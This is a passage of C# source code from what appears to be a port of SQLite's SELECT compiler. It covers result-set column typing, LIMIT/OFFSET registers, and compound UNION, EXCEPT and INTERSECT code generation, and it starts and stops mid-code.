aCol[j].zName, zName ) == 0 )\n          {\n            string zNewName;\n            //zName[nName] = 0;\n            zNewName = sqlite3MPrintf( db, \"%s:%d\", zName.Substring( 0, nName ), ++cnt );\n            //sqlite3DbFree(db, zName);\n            zName = zNewName;\n            j = -1;\n            if ( zName == \"\" ) break;\n          }\n        }\n        pCol.zName = zName;\n      }\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  for ( j = 0 ; j < i ; j++ )\n      //  {\n      //    //sqlite3DbFree( db, aCol[j].zName );\n      //  }\n      //  //sqlite3DbFree( db, aCol );\n      //  paCol = null;\n      //  pnCol = 0;\n      //  return SQLITE_NOMEM;\n      //}\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Add type and collation information to a column list based on\n    ** a SELECT statement.\n    **\n    ** The column list presumably came from selectColumnNamesFromExprList().\n    ** The column list has only names, not types or collations.  This\n    ** routine goes through and adds the types and collations.\n    **\n    ** This routine requires that all identifiers in the SELECT\n    ** statement be resolved.\n    */\n    static void selectAddColumnTypeAndCollation(\n    Parse pParse,         /* Parsing contexts */\n    int nCol,             /* Number of columns */\n    Column[] aCol,        /* List of columns */\n    Select pSelect        /* SELECT used to determine types and collations */\n    )\n    {\n      sqlite3 db = pParse.db;\n      NameContext sNC;\n      Column pCol;\n      CollSeq pColl;\n      int i;\n      Expr p;\n      ExprList_item[] a;\n\n      Debug.Assert( pSelect != null );\n      Debug.Assert( ( pSelect.selFlags & SF_Resolved ) != 0 );\n      Debug.Assert( nCol == pSelect.pEList.nExpr /*|| db.mallocFailed != 0 */ );\n//      if ( db.mallocFailed != 0 ) return;\n      sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) );\n      sNC.pSrcList = pSelect.pSrc;\n      a = pSelect.pEList.a;\n      for ( i = 0 ; i < nCol ; i++ )//, pCol++ )\n      {\n        pCol = aCol[i];\n        p = a[i].pExpr;\n        string bDummy = null; pCol.zType = columnType( sNC, p, ref bDummy, ref bDummy, ref bDummy );// sqlite3DbStrDup( db, columnType( sNC, p, 0, 0, 0 ) );\n        pCol.affinity = sqlite3ExprAffinity( p );\n        if ( pCol.affinity == 0 ) pCol.affinity = SQLITE_AFF_NONE;\n        pColl = sqlite3ExprCollSeq( pParse, p );\n        if ( pColl != null )\n        {\n          pCol.zColl = pColl.zName;// sqlite3DbStrDup( db, pColl.zName );\n        }\n      }\n    }\n\n    /*\n    ** Given a SELECT statement, generate a Table structure that describes\n    ** the result set of that SELECT.\n    */\n    static Table sqlite3ResultSetOfSelect( Parse pParse, Select pSelect )\n    {\n      Table pTab;\n      sqlite3 db = pParse.db;\n      int savedFlags;\n\n      savedFlags = db.flags;\n      db.flags &= ~SQLITE_FullColNames;\n      db.flags |= SQLITE_ShortColNames;\n      sqlite3SelectPrep( pParse, pSelect, null );\n      if ( pParse.nErr != 0 ) return null;\n      while ( pSelect.pPrior != null ) pSelect = pSelect.pPrior;\n      db.flags = savedFlags;\n      pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) );\n      if ( pTab == null )\n      {\n        return null;\n      }\n      /* The sqlite3ResultSetOfSelect() is only used n contexts where lookaside\n      ** is disabled, so we might as well hard-code pTab->dbMem to NULL. */\n      Debug.Assert( db.lookaside.bEnabled == 0 );\n      pTab.dbMem = null;\n      pTab.nRef = 1;\n      pTab.zName = null;\n      selectColumnsFromExprList( pParse, pSelect.pEList, ref pTab.nCol, ref pTab.aCol );\n      selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSelect );\n      pTab.iPKey = -1;\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  sqlite3DeleteTable( ref pTab );\n      //  return null;\n      //}\n      return pTab;\n    }\n\n    /*\n    ** Get a VDBE for the given parser context.  Create a new one if necessary.\n    ** If an error occurs, return NULL and leave a message in pParse.\n    */\n    static Vdbe sqlite3GetVdbe( Parse pParse )\n    {\n      Vdbe v = pParse.pVdbe;\n      if ( v == null )\n      {\n        v = pParse.pVdbe = sqlite3VdbeCreate( pParse.db );\n#if !SQLITE_OMIT_TRACE\n        if ( v != null )\n        {\n          sqlite3VdbeAddOp0( v, OP_Trace );\n        }\n#endif\n      }\n      return v;\n    }\n\n\n    /*\n    ** Compute the iLimit and iOffset fields of the SELECT based on the\n    ** pLimit and pOffset expressions.  pLimit and pOffset hold the expressions\n    ** that appear in the original SQL statement after the LIMIT and OFFSET\n    ** keywords.  Or NULL if those keywords are omitted. iLimit and iOffset\n    ** are the integer memory register numbers for counters used to compute\n    ** the limit and offset.  If there is no limit and/or offset, then\n    ** iLimit and iOffset are negative.\n    **\n    ** This routine changes the values of iLimit and iOffset only if\n    ** a limit or offset is defined by pLimit and pOffset.  iLimit and\n    ** iOffset should have been preset to appropriate default values\n    ** (usually but not always -1) prior to calling this routine.\n    ** Only if pLimit!=0 or pOffset!=0 do the limit registers get\n    ** redefined.  The UNION ALL operator uses this property to force\n    ** the reuse of the same limit and offset registers across multiple\n    ** SELECT statements.\n    */\n    static void computeLimitRegisters( Parse pParse, Select p, int iBreak )\n    {\n      Vdbe v = null;\n      int iLimit = 0;\n      int iOffset;\n      int addr1;\n      if ( p.iLimit != 0 ) return;\n\n      /*\n      ** \"LIMIT -1\" always shows all rows.  There is some\n      ** contraversy about what the correct behavior should be.\n      ** The current implementation interprets \"LIMIT 0\" to mean\n      ** no rows.\n      */\n      sqlite3ExprCacheClear( pParse );\n      Debug.Assert( p.pOffset == null || p.pLimit != null );\n      if ( p.pLimit != null )\n      {\n        p.iLimit = iLimit = ++pParse.nMem;\n        v = sqlite3GetVdbe( pParse );\n        if ( NEVER( v == null ) ) return;  /* VDBE should have already been allocated */\n        sqlite3ExprCode( pParse, p.pLimit, iLimit );\n        sqlite3VdbeAddOp1( v, OP_MustBeInt, iLimit );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"LIMIT counter\" );\n#endif\n        sqlite3VdbeAddOp2( v, OP_IfZero, iLimit, iBreak );\n        if ( p.pOffset != null )\n        {\n          p.iOffset = iOffset = ++pParse.nMem;\n          pParse.nMem++;   /* Allocate an extra register for limit+offset */\n          sqlite3ExprCode( pParse, p.pOffset, iOffset );\n          sqlite3VdbeAddOp1( v, OP_MustBeInt, iOffset );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"OFFSET counter\" );\n#endif\n          addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iOffset );\n          sqlite3VdbeAddOp2( v, OP_Integer, 0, iOffset );\n          sqlite3VdbeJumpHere( v, addr1 );\n          sqlite3VdbeAddOp3( v, OP_Add, iLimit, iOffset, iOffset + 1 );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"LIMIT+OFFSET\" );\n#endif\n          addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iLimit );\n          sqlite3VdbeAddOp2( v, OP_Integer, -1, iOffset + 1 );\n          sqlite3VdbeJumpHere( v, addr1 );\n        }\n      }\n    }\n\n#if !SQLITE_OMIT_COMPOUND_SELECT\n    /*\n** Return the appropriate collating sequence for the iCol-th column of\n** the result set for the compound-select statement \"p\".  Return NULL if\n** the column has no default collating sequence.\n**\n** The collating sequence for the compound select is taken from the\n** left-most term of the select that has a collating sequence.\n*/\n    static CollSeq multiSelectCollSeq( Parse pParse, Select p, int iCol )\n    {\n      CollSeq pRet;\n      if ( p.pPrior != null )\n      {\n        pRet = multiSelectCollSeq( pParse, p.pPrior, iCol );\n      }\n      else\n      {\n        pRet = null;\n      }\n      Debug.Assert( iCol >= 0 );\n      if ( pRet == null && iCol < p.pEList.nExpr )\n      {\n        pRet = sqlite3ExprCollSeq( pParse, p.pEList.a[iCol].pExpr );\n      }\n      return pRet;\n    }\n#endif // * SQLITE_OMIT_COMPOUND_SELECT */\n\n    /* Forward reference */\n    //static int multiSelectOrderBy(\n    //  Parse* pParse,        /* Parsing context */\n    //  Select* p,            /* The right-most of SELECTs to be coded */\n    //  SelectDest* pDest     /* What to do with query results */\n    //);\n\n#if !SQLITE_OMIT_COMPOUND_SELECT\n    /*\n** This routine is called to process a compound query form from\n** two or more separate queries using UNION, UNION ALL, EXCEPT, or\n** INTERSECT\n**\n** \"p\" points to the right-most of the two queries.  the query on the\n** left is p.pPrior.  The left query could also be a compound query\n** in which case this routine will be called recursively.\n**\n** The results of the total query are to be written into a destination\n** of type eDest with parameter iParm.\n**\n** Example 1:  Consider a three-way compound SQL statement.\n**\n**     SELECT a FROM t1 UNION SELECT b FROM t2 UNION SELECT c FROM t3\n**\n** This statement is parsed up as follows:\n**\n**     SELECT c FROM t3\n**      |\n**      `----.  SELECT b FROM t2\n**                |\n**                `-----.  SELECT a FROM t1\n**\n** The arrows in the diagram above represent the Select.pPrior pointer.\n** So if this routine is called with p equal to the t3 query, then\n** pPrior will be the t2 query.  p.op will be TK_UNION in this case.\n**\n** Notice that because of the way SQLite parses compound SELECTs, the\n** individual selects always group from left to right.\n*/\n    static int multiSelect(\n    Parse pParse,             /* Parsing context */\n    Select p,                 /* The right-most of SELECTs to be coded */\n    SelectDest pDest          /* What to do with query results */\n    )\n    {\n      int rc = SQLITE_OK;       /* Success code from a subroutine */\n      Select pPrior;            /* Another SELECT immediately to our left */\n      Vdbe v;                   /* Generate code to this VDBE */\n      SelectDest dest = new SelectDest(); /* Alternative data destination */\n      Select pDelete = null;    /* Chain of simple selects to delete */\n      sqlite3 db;               /* Database connection */\n\n      /* Make sure there is no ORDER BY or LIMIT clause on prior SELECTs.  Only\n      ** the last (right-most) SELECT in the series may have an ORDER BY or LIMIT.\n      */\n      Debug.Assert( p != null && p.pPrior != null );  /* Calling function guarantees this much */\n      db = pParse.db;\n      pPrior = p.pPrior;\n      Debug.Assert( pPrior.pRightmost != pPrior );\n      Debug.Assert( pPrior.pRightmost == p.pRightmost );\n      dest = pDest;\n      if ( pPrior.pOrderBy != null )\n      {\n        sqlite3ErrorMsg( pParse, \"ORDER BY clause should come after %s not before\",\n        selectOpName( p.op ) );\n        rc = 1;\n        goto multi_select_end;\n      }\n      if ( pPrior.pLimit != null )\n      {\n        sqlite3ErrorMsg( pParse, \"LIMIT clause should come after %s not before\",\n        selectOpName( p.op ) );\n        rc = 1;\n        goto multi_select_end;\n      }\n\n      v = sqlite3GetVdbe( pParse );\n      Debug.Assert( v != null );  /* The VDBE already created by calling function */\n\n      /* Create the destination temporary table if necessary\n      */\n      if ( dest.eDest == SRT_EphemTab )\n      {\n        Debug.Assert( p.pEList != null );\n        sqlite3VdbeAddOp2( v, OP_OpenEphemeral, dest.iParm, p.pEList.nExpr );\n        dest.eDest = SRT_Table;\n      }\n\n      /* Make sure all SELECTs in the statement have the same number of elements\n      ** in their result sets.\n      */\n      Debug.Assert( p.pEList != null && pPrior.pEList != null );\n      if ( p.pEList.nExpr != pPrior.pEList.nExpr )\n      {\n        sqlite3ErrorMsg( pParse, \"SELECTs to the left and right of %s\" +\n        \" do not have the same number of result columns\", selectOpName( p.op ) );\n        rc = 1;\n        goto multi_select_end;\n      }\n\n      /* Compound SELECTs that have an ORDER BY clause are handled separately.\n      */\n      if ( p.pOrderBy != null )\n      {\n        return multiSelectOrderBy( pParse, p, pDest );\n      }\n\n      /* Generate code for the left and right SELECT statements.\n      */\n      switch ( p.op )\n      {\n        case TK_ALL:\n          {\n            int addr = 0;\n            Debug.Assert( pPrior.pLimit == null );\n            pPrior.pLimit = p.pLimit;\n            pPrior.pOffset = p.pOffset;\n            rc = sqlite3Select( pParse, pPrior, ref dest );\n            p.pLimit = null;\n            p.pOffset = null;\n            if ( rc != 0 )\n            {\n              goto multi_select_end;\n            }\n            p.pPrior = null;\n            p.iLimit = pPrior.iLimit;\n            p.iOffset = pPrior.iOffset;\n            if ( p.iLimit != 0 )\n            {\n              addr = sqlite3VdbeAddOp1( v, OP_IfZero, p.iLimit );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"Jump ahead if LIMIT reached\" );\n#endif\n            }\n            rc = sqlite3Select( pParse, p, ref dest );\n            testcase( rc != SQLITE_OK );\n            pDelete = p.pPrior;\n            p.pPrior = pPrior;\n            if ( addr != 0 )\n            {\n              sqlite3VdbeJumpHere( v, addr );\n            }\n            break;\n          }\n        case TK_EXCEPT:\n        case TK_UNION:\n          {\n            int unionTab;    /* VdbeCursor number of the temporary table holding result */\n            u8 op = 0;      /* One of the SRT_ operations to apply to self */\n            int priorOp;     /* The SRT_ operation to apply to prior selects */\n            Expr pLimit, pOffset; /* Saved values of p.nLimit and p.nOffset */\n            int addr;\n            SelectDest uniondest = new SelectDest();\n\n            testcase( p.op == TK_EXCEPT );\n            testcase( p.op == TK_UNION );\n            priorOp = SRT_Union;\n            if ( dest.eDest == priorOp && ALWAYS( null == p.pLimit && null == p.pOffset ) )\n            {\n              /* We can reuse a temporary table generated by a SELECT to our\n              ** right.\n              */\n              Debug.Assert( p.pRightmost != p );  /* Can only happen for leftward elements\n                 ** of a 3-way or more compound */\n              Debug.Assert( p.pLimit == null );      /* Not allowed on leftward elements */\n              Debug.Assert( p.pOffset == null );     /* Not allowed on leftward elements */\n              unionTab = dest.iParm;\n            }\n            else\n            {\n              /* We will need to create our own temporary table to hold the\n              ** intermediate results.\n              */\n              unionTab = pParse.nTab++;\n              Debug.Assert( p.pOrderBy == null );\n              addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, unionTab, 0 );\n              Debug.Assert( p.addrOpenEphm[0] == -1 );\n              p.addrOpenEphm[0] = addr;\n              p.pRightmost.selFlags |= SF_UsesEphemeral;\n              Debug.Assert( p.pEList != null );\n            }\n\n            /* Code the SELECT statements to our left\n            */\n            Debug.Assert( pPrior.pOrderBy == null );\n            sqlite3SelectDestInit( uniondest, priorOp, unionTab );\n            rc = sqlite3Select( pParse, pPrior, ref uniondest );\n            if ( rc != 0 )\n            {\n              goto multi_select_end;\n            }\n\n            /* Code the current SELECT statement\n            */\n            if ( p.op == TK_EXCEPT )\n            {\n              op = SRT_Except;\n            }\n            else\n            {\n              Debug.Assert( p.op == TK_UNION );\n              op = SRT_Union;\n            }\n            p.pPrior = null;\n            pLimit = p.pLimit;\n            p.pLimit = null;\n            pOffset = p.pOffset;\n            p.pOffset = null;\n            uniondest.eDest = op;\n            rc = sqlite3Select( pParse, p, ref  uniondest );\n            testcase( rc != SQLITE_OK );\n            /* Query flattening in sqlite3Select() might refill p.pOrderBy.\n            ** Be sure to delete p.pOrderBy, therefore, to avoid a memory leak. */\n            sqlite3ExprListDelete( db, ref p.pOrderBy );\n            pDelete = p.pPrior;\n            p.pPrior = pPrior;\n            p.pOrderBy = null;\n            sqlite3ExprDelete( db, ref p.pLimit );\n            p.pLimit = pLimit;\n            p.pOffset = pOffset;\n            p.iLimit = 0;\n            p.iOffset = 0;\n\n            /* Convert the data in the temporary table into whatever form\n            ** it is that we currently need.\n            */\n            Debug.Assert( unionTab == dest.iParm || dest.eDest != priorOp );\n            if ( dest.eDest != priorOp )\n            {\n              int iCont, iBreak, iStart;\n              Debug.Assert( p.pEList != null );\n              if ( dest.eDest == SRT_Output )\n              {\n                Select pFirst = p;\n                while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior;\n                generateColumnNames( pParse, null, pFirst.pEList );\n              }\n              iBreak = sqlite3VdbeMakeLabel( v );\n              iCont = sqlite3VdbeMakeLabel( v );\n              computeLimitRegisters( pParse, p, iBreak );\n              sqlite3VdbeAddOp2( v, OP_Rewind, unionTab, iBreak );\n              iStart = sqlite3VdbeCurrentAddr( v );\n              selectInnerLoop( pParse, p, p.pEList, unionTab, p.pEList.nExpr,\n              null, -1, dest, iCont, iBreak );\n              sqlite3VdbeResolveLabel( v, iCont );\n              sqlite3VdbeAddOp2( v, OP_Next, unionTab, iStart );\n              sqlite3VdbeResolveLabel( v, iBreak );\n              sqlite3VdbeAddOp2( v, OP_Close, unionTab, 0 );\n            }\n            break;\n          }\n        default: Debug.Assert( p.op == TK_INTERSECT );\n          {\n            int tab1, tab2;\n            int iCont, iBreak, iStart;\n            Expr pLimit, pOffset;\n            int addr;\n            SelectDest intersectdest = new SelectDest();\n            int r1;\n\n            /* INTERSECT is different from the others since it requires\n            ** two temporary tables.  Hence it has its own case.  Begin\n            ** by allocating the tables we will need.\n            */\n            tab1 = pParse.nTab++;\n            tab2 = pParse.nTab++;\n            Debug.Assert( p.pOrderBy == null );\n\n            addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab1, 0 );\n            Debug.Assert( p.addrOpenEphm[0] == -1 );\n            p.addrOpenEphm[0] = addr;\n            p.pRightmost.selFlags |= SF_UsesEphemeral;\n            Debug.Assert( p.pEList != null );\n\n            /* Code the SELECTs to our left into temporary table \"tab1\".\n            */\n            sqlite3SelectDestInit( intersectdest, SRT_Union, tab1 );\n            rc = sqlite3Select( pParse, pPrior, ref intersectdest );\n            if ( rc != 0 )\n            {\n              goto multi_select_end;\n            }\n\n            /* Code the current SELECT into temporary table \"tab2\"\n            */\n            addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab2, 0 );\n            Debug.Assert( p.addrOpenEphm[1] == -1 );\n            p.addrOpenEphm[1] = addr;\n            p.pPrior = null;\n            pLimit = p.pLimit;\n            p.pLimit = null;\n            pOffset = p.pOffset;\n            p.pOffset = null;\n            intersectdest.iParm = tab2;\n            rc = sqlite3Select( pParse, p, ref intersectdest );\n            testcase( rc != SQLITE_OK );\n            p.pPrior = pPrior;\n            sqlite3ExprDelete( db, ref p.pLimit );\n            p.pLimit = pLimit;\n            p.pOffset = pOffset;\n\n            /* Generate code to take the intersection of the two temporary\n            ** tables.\n            */\n            Debug.Assert( p.pEList != null );\n            if ( dest.eDest == SRT_Output )\n            {\n              Select pFirst = p;\n              while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior;\n              generateColumnNames( pParse, null, pFirst.pEList );\n            }\n            iBreak = sqlite3VdbeMakeLabel( v );\n            iCont = sqlite3VdbeMakeLabel( v );\n            computeLimitRegisters( pParse, p, iBreak );\n            sqlite3VdbeAddOp2( v, OP_Rewind, tab1, iBreak );\n            r1 = sqlite3GetTempReg( pParse );\n            iStart = sqlite3VdbeAddOp2( v, OP_RowKey, tab1, r1 );\n            sqlite3VdbeAddOp3( v, OP_NotFound, tab2, iCont, r1 );\n            sqlite3ReleaseTempReg( pParse, r1 );\n            selectInnerLoop( pParse, p, p.pEList, tab1, p.pEList.nExpr,\n            null, -1, dest, iCont, iBreak );\n            sqlite3VdbeResolveLabel( v, iCont );\n            sqlite3VdbeAddOp2( v, OP_Next, tab1, iStart );\n            sqlite3VdbeResolveLabel( v, iBreak );\n            sqlite3VdbeAddOp2( v, OP_Close, tab2, 0 );\n            sqlite3VdbeAddOp2( v, OP_Close, tab1, 0 );\n            break;\n          }\n      }\n\n\n      /* Compute collating sequences used by\n      ** temporary tables needed to implement the compound select.\n      ** Attach the KeyInfo structure to all temporary tables.\n      **\n      ** This section is run by the right-most SELECT statement only.\n      ** SELECT statements to the left always skip this part.  The right-most\n      ** SELECT might also skip this part if it has no ORDER BY clause and\n      ** no temp tables are required.\n      */\n      if ( ( p.selFlags & SF_UsesEphemeral ) != 0 )\n      {\n        int i;                        /* Loop counter */\n        KeyInfo pKeyInfo;             /* Collating sequence for the result set */\n        Select pLoop;                 /* For looping through SELECT statements */\n        CollSeq apColl;               /* For looping through pKeyInfo.aColl[] */\n        int nCol;                     /* Number of columns in result set */\n\n        Debug.Assert( p.pRightmost == p );\n        nCol = p.pEList.nExpr;\n        pKeyInfo = new KeyInfo();           //sqlite3DbMallocZero(db,\n        pKeyInfo.aColl = new CollSeq[nCol]; //sizeof(*pKeyInfo)+nCol*(CollSeq*.Length + 1));\n        if ( pKeyInfo == null )\n        {\n          rc = SQLITE_NOMEM;\n          goto multi_select_end;\n        }\n\n        pKeyInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC( pParse.db );\n        pKeyInfo.nField = (u16)nCol;\n\n        for ( i = 0 ; i < nCol ; i++ )\n        {//, apColl++){\n          apColl = multiSelectCollSeq( pParse, p, i );\n          if ( null == apColl )\n          {\n            apColl = db.pDfltColl;\n          }\n          pKeyInfo.aColl[i] = apColl;\n        }\n\n        for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior )\n        {\n          for ( i = 0 ; i < 2 ; i++ )\n          {\n            int addr = pLoop.addrOpenEphm[i];\n            if ( addr < 0 )\n            {\n              /* If [0] is unused then [1] is also unused.  So we can\n              ** always safely abort as soon as the first unused slot is found */\n              Debug.Assert( pLoop.addrOpenEphm[1] < 0 );\n              break;\n            }\n            sqlite3VdbeChangeP2( v, addr, nCol );\n            sqlite3VdbeChangeP4( v, addr, pKeyInfo, P4_KEYINFO );\n            pLoop.addrOpenEphm[i] = -1;\n          }\n        }\n        //sqlite3DbFree( db, ref pKeyInfo );\n      }\n\nmulti_select_end:\n      pDest.iMem = dest.iMem;\n      pDest.nMem = dest.nMem;\n      sqlite3SelectDelete( db, ref pDelete );\n      return rc;\n    }\n#endif // * SQLITE_OMIT_COMPOUND_SELECT */\n\n    /*\n** Code an output subroutine for a coroutine implementation of a\n** SELECT statment.\n**\n** The data to be output is contained in pIn.iMem.  There are\n** pIn.nMem columns to be output.  pDest is where the output should\n** be sent.\n**\n** regReturn is the number of the register holding the subroutine\n** return address.\n**\n** If regPrev>0 then it is a the first register in a vector that\n** records the previous output.  mem[regPrev] is a flag that is false\n** if there has been no previous output.  If regPrev>0 then code is\n** generated to suppress duplicates.  pKeyInfo is used for comparing\n** keys.\n**\n** If the LIMIT found in p.iLimit is reached, jump immediately to\n** iBreak.\n*/\n    static int generateOutputSubroutine(\n    Parse pParse,          /* Parsing context */\n    Select p,              /* The SELECT statement */\n    SelectDest pIn,        /* Coroutine supplying data */\n    SelectDest pDest,      /* Where to send the data */\n    int regReturn,         /* The return address register */\n    int regPrev,           /* Previous result register.  No uniqueness if 0 */\n    KeyInfo pKeyInfo,      /* For comparing with previous entry */\n    int p4type,            /* The p4 type for pKeyInfo */\n    int iBreak             /* Jump here if we hit the LIMIT */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int iContinue;\n      int addr;\n\n      addr = sqlite3VdbeCurrentAddr( v );\n      iContinue = sqlite3VdbeMakeLabel( v );\n\n      /* Suppress duplicates for UNION, EXCEPT, and INTERSECT\n      */\n      if ( regPrev != 0 )\n      {\n        int j1, j2;\n        j1 = sqlite3VdbeAddOp1( v, OP_IfNot, regPrev );\n        j2 = sqlite3VdbeAddOp4( v, OP_Compare, pIn.iMem, regPrev + 1, pIn.nMem,\n        pKeyInfo, p4type );\n        sqlite3VdbeAddOp3( v, OP_Jump, j2 + 2, iContinue, j2 + 2 );\n        sqlite3VdbeJumpHere( v, j1 );\n        sqlite3ExprCodeCopy( pParse, pIn.iMem, regPrev + 1, pIn.nMem );\n        sqlite3VdbeAddOp2( v, OP_Integer, 1, regPrev );\n      }\n      //if ( pParse.db.mallocFailed != 0 ) return 0;\n\n      /* Suppress the the first OFFSET entries if there is an OFFSET clause\n      */\n      codeOffset( v, p, iContinue );\n\n      switch ( pDest.eDest )\n      {\n        /* Store the result as data using a unique key.\n        */\n        case SRT_Table:\n        case SRT_EphemTab:\n          {\n            int r1 = sqlite3GetTempReg( pParse );\n            int r2 = sqlite3GetTempReg( pParse );\n            testcase( pDest.eDest == SRT_Table );\n            testcase( pDest.eDest == SRT_EphemTab );\n            sqlite3VdbeAddOp3( v, OP_MakeRecord, pIn.iMem, pIn.nMem, r1 );\n            sqlite3VdbeAddOp2( v, OP_NewRowid, pDest.iParm, r2 );\n            sqlite3VdbeAddOp3( v, OP_Insert, pDest.iParm, r1, r2 );\n            sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n            sqlite3ReleaseTempReg( pParse, r2 );\n            sqlite3ReleaseTempReg( pParse, r1 );\n            break;\n          }\n\n#if !SQLITE_OMIT_SUBQUERY\n        /* If we are creating a set for an \"expr IN (SELECT ...)\" construct,\n** then there should be a single item on the stack.  Write this\n** item into the set table with bogus data.\n*/\n        case SRT_Set:\n          {\n            int r1;\n            Debug.Assert( pIn.nMem == 1 );\n            p.affinity =\n            sqlite3CompareAffinity( p.pEList.a[0].pExpr, pDest.affinity );\n            r1 = sqlite3GetTempReg( pParse );\n            sqlite3VdbeAddOp4( v, OP_MakeRecord, pIn.iMem, 1, r1, p.affinity, 1 );\n            sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, 1 );\n            sqlite3VdbeAddOp2( v, OP_IdxInsert, pDest.iParm, r1 );\n            sqlite3ReleaseTempReg( pParse, r1 );\n            break;\n          }\n\n#if FALSE  //* Never occurs on an ORDER BY query */\n/* If any row exist in the result set, record that fact and abort.\n*/\ncase SRT_Exists: {\nsqlite3VdbeAddOp2(v, OP_Integer, 1, pDest.iParm);\n/* The LIMIT clause will terminate the loop for us */\nbreak;\n}\n#endif\n\n        /* If this is a scalar select that is part of an expression, then\n** store the results in the appropriate memory cell and break out\n** of the scan loop.\n*/\n        case SRT_Mem:\n          {\n            Debug.Assert( pIn.nMem == 1 );\n            sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iParm, 1 );\n            /* The LIMIT clause will jump out of the loop for us */\n            break;\n          }\n#endif //* #if !SQLITE_OMIT_SUBQUERY */\n\n        /* The results are stored in a sequence of registers\n** starting at pDest.iMem.  Then the co-routine yields.\n*/\n        case SRT_Coroutine:\n          {\n            if ( pDest.iMem == 0 )\n            {\n              pDest.iMem = sqlite3GetTempRange( pParse, pIn.nMem );\n              pDest.nMem = pIn.nMem;\n            }\n            sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iMem, pDest.nMem );\n            sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm );\n            break;\n          }\n\n        /* If none of the above, then the result destination must be\n        ** SRT_Output.  This routine is never called with any other\n        ** destination other than the ones handled above or SRT_Output.\n        **\n        ** For SRT_Output, results are stored in a sequence of registers.\n        ** Then the OP_ResultRow opcode is used to cause sqlite3_step() to\n        ** return the next row of result.\n        */\n        default:\n          {\n            Debug.Assert( pDest.eDest == SRT_Output );\n            sqlite3VdbeAddOp2( v, OP_ResultRow, pIn.iMem, pIn.nMem );\n            sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, pIn.nMem );\n            break;\n          }\n      }\n\n      /* Jump to the end of the loop if the LIMIT is reached.\n      */\n      if ( p.iLimit != 0 )\n      {\n        sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 );\n        sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak );\n      }\n\n      /* Generate the subroutine return\n      */\n      sqlite3VdbeResolveLabel( v, iContinue );\n      sqlite3VdbeAddOp1( v, OP_Return, regReturn );\n\n      return addr;\n    }\n\n    /*\n    ** Alternative compound select code generator for cases when there\n    ** is an ORDER BY clause.\n    **\n    ** We assume a query of the following form:\n    **\n    **      <selectA>  <operator>  <selectB>  ORDER BY <orderbylist>\n    **\n    ** <operator> is one of UNION ALL, UNION, EXCEPT, or INTERSECT.  The idea\n    ** is to code both <selectA> and <selectB> with the ORDER BY clause as\n    ** co-routines.  Then run the co-routines in parallel and merge the results\n    ** into the output.  In addition to the two coroutines (called selectA and\n    ** selectB) there are 7 subroutines:\n    **\n    **    outA:    Move the output of the selectA coroutine into the output\n    **             of the compound query.\n    **\n    **    outB:    Move the output of the selectB coroutine into the output\n    **             of the compound query.  (Only generated for UNION and\n    **             UNION ALL.  EXCEPT and INSERTSECT never output a row that\n    **             appears only in B.)\n    **\n    **    AltB:    Called when there is data from both coroutines and A<B.\n    **\n    **    AeqB:    Called when there is data from both coroutines and A==B.\n    **\n    **    AgtB:    Called when there is data from both coroutines and A>B.\n    **\n    **    EofA:    Called when data is exhausted from selectA.\n    **\n    **    EofB:    Called when data is exhausted from selectB.\n    **\n    ** The implementation of the latter five subroutines depend on which\n    ** <operator> is used:\n    **\n    **\n    **             UNION ALL         UNION            EXCEPT          INTERSECT\n    **          -------------  -----------------  --------------  -----------------\n    **   AltB:   outA, nextA      outA, nextA       outA, nextA         nextA\n    **\n    **   AeqB:   outA, nextA         nextA             nextA         outA, nextA\n    **\n    **   AgtB:   outB, nextB      outB, nextB          nextB            nextB\n    **\n    **   EofA:   outB, nextB      outB, nextB          halt             halt\n    **\n    **   EofB:   outA, nextA      outA, nextA       outA, nextA         halt\n    **\n    ** In the AltB, AeqB, and AgtB subroutines, an EOF on A following nextA\n    ** causes an immediate jump to EofA and an EOF on B following nextB causes\n    ** an immediate jump to EofB.  Within EofA and EofB, and EOF on entry or\n    ** following nextX causes a jump to the end of the select processing.\n    **\n    ** Duplicate removal in the UNION, EXCEPT, and INTERSECT cases is handled\n    ** within the output subroutine.  The regPrev register set holds the previously\n    ** output value.  A comparison is made against this value and the output\n    ** is skipped if the next results would be the same as the previous.\n    **\n    ** The implementation plan is to implement the two coroutines and seven\n    ** subroutines first, then put the control logic at the bottom.  Like this:\n    **\n    **          goto Init\n    **     coA: coroutine for left query (A)\n    **     coB: coroutine for right query (B)\n    **    outA: output one row of A\n    **    outB: output one row of B (UNION and UNION ALL only)\n    **    EofA: ...\n    **    EofB: ...\n    **    AltB: ...\n    **    AeqB: ...\n    **    AgtB: ...\n    **    Init: initialize coroutine registers\n    **          yield coA\n    **          if eof(A) goto EofA\n    **          yield coB\n    **          if eof(B) goto EofB\n    **    Cmpr: Compare A, B\n    **          Jump AltB, AeqB, AgtB\n    **     End: ...\n    **\n    ** We call AltB, AeqB, AgtB, EofA, and EofB \"subroutines\" but they are not\n    ** actually called using Gosub and they do not Return.  EofA and EofB loop\n    ** until all data is exhausted then jump to the \"end\" labe.  AltB, AeqB,\n    ** and AgtB jump to either L2 or to one of EofA or EofB.\n    */\n#if !SQLITE_OMIT_COMPOUND_SELECT\n    static int 